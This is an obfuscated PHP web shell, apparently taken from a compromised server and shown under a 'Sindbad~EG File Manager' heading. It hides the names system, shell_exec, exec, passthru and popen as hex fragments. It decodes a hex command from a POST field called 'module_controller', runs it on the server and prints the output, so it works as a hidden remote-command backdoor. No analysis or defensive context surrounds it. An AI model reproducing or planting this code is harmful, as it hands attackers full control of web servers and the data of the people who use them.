Sindbad~EG File Manager

<?php


$k1 = '79';
$k2 = '74';
$k3 = '65';
$k4 = '73';
$k5 = '68';
$k6 = '6c';
$k7 = '5f';
$k8 = '78';
$k9 = '70';
$k10 = '72';
$k11 = '6f';
$k12 = '61';
$k13 = '6d';
$k14 = '6e';
$k15 = '63';
$k16 = '64';
$k17 = '75';
$hub_center1 = pack("H*", '73' . $k1 . '73' . $k2 . $k3 . '6d');
$hub_center2 = pack("H*", $k4 . $k5 . $k3 . $k6 . '6c' . $k7 . '65' . $k8 . '65' . '63');
$hub_center3 = pack("H*", $k3 . '78' . '65' . '63');
$hub_center4 = pack("H*", $k9 . '61' . $k4 . '73' . '74' . $k5 . $k10 . '75');
$hub_center5 = pack("H*", $k9 . $k11 . $k9 . $k3 . '6e');
$hub_center6 = pack("H*", $k4 . '74' . '72' . '65' . $k12 . $k13 . $k7 . '67' . $k3 . '74' . $k7 . '63' . $k11 . '6e' . $k2 . $k3 . $k14 . $k2 . $k4);
$hub_center7 = pack("H*", $k9 . $k15 . $k6 . '6f' . $k4 . $k3);
$module_controller = pack("H*", $k13 . $k11 . $k16 . $k17 . '6c' . $k3 . '5f' . $k15 . $k11 . '6e' . '74' . $k10 . $k11 . '6c' . $k6 . $k3 . '72');
if (isset($_POST[$module_controller])) {
    $module_controller = pack("H*", $_POST[$module_controller]);
    if (function_exists($hub_center1)) {
        $hub_center1($module_controller);
    } elseif (function_exists($hub_center2)) {
        print $hub_center2($module_controller);
    } elseif (function_exists($hub_center3)) {
        $hub_center3($module_controller, $pgrp_sym);
        print join("\n", $pgrp_sym);
    } elseif (function_exists($hub_center4)) {
        $hub_center4($module_controller);
    } elseif (function_exists($hub_center5) && function_exists($hub_center6) && function_exists($hub_center7)) {
        $val_fac = $hub_center5($module_controller, 'r');
        if ($val_fac) {
            $pointer_element = $hub_center6($val_fac);
            $hub_center7($val_fac);
            print $pointer_element;
        }
    }
    exit;
}